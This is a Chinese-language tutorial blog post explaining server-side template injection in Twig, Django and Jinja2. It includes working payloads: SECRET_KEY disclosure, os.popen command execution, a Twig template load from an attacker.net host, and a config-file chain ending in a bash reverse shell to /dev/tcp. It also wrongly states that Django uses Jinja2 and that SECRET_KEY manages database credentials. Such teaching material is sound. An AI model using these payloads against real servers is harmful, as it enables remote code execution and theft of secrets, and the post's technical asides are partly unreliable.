系列完成3分之1了,今天來談談SSTI吧
SSTI,全稱Server Side Template Injection伺服器模板注入,這是一種將惡意內容注入到Web Server執行命令的漏洞,可藉由SSTI導致RCE或讀取Server上的敏感資訊,因此這種漏洞通常很嚴重。
模板(Template)引擎的目的是將固定模板和volatile data結合來產生網頁,當User輸入可以直接連結到模板,讓攻擊者可以注入模板指令並且操縱模板引擎時,可能就能完全控制Server。
$showuser = $twig - > render("Hi " . $_GET['username']
在上面的範例裡面,這個twig模板的一部分是由GET
取得username
參數來動態產生的,這可能允許攻擊者將payload放進username
的參數中:http://example.com/?username={{7*7}}
這時候一個具有SSTI漏洞的網頁就可能Response Hi 49
當然,最嚴重的莫過於可以RCE了
{{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}}
{{['id']|filter('system')}}
再看一個具有SSTI漏洞的Django網頁,若是發送底下的Request
http://example-django.com/?username={% debug %}
就會在Response中顯示Django的debug資訊,例如django core運作的message,或是注入{{settings.SECRET_KEY}}
來得到金鑰,Django會用SECRET_KEY來加密session內容、處理cookie、管理資料庫的帳號密碼等等。
由於Django是使用Jinja2的模板引擎,若要進行RCE,可以使用以下payload:{{ cycler.__init__.__globals__.os.popen('id').read() }}
若是將id換成reverse shell,當然也就可以取得Server的initial access
或是寫入一個惡意的config檔案也可以做到
# 惡意config檔案
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# 載入惡意config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# 彈reverse shell
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1"',shell=True) }}
更多SSTI可參考PayloadsAllTheThings
Shopify
我認為作者的blog將整個漏洞解釋得很完美,因此我將不對此下註解跟簡略介紹:
Handlebars template injection and RCE in a Shopify app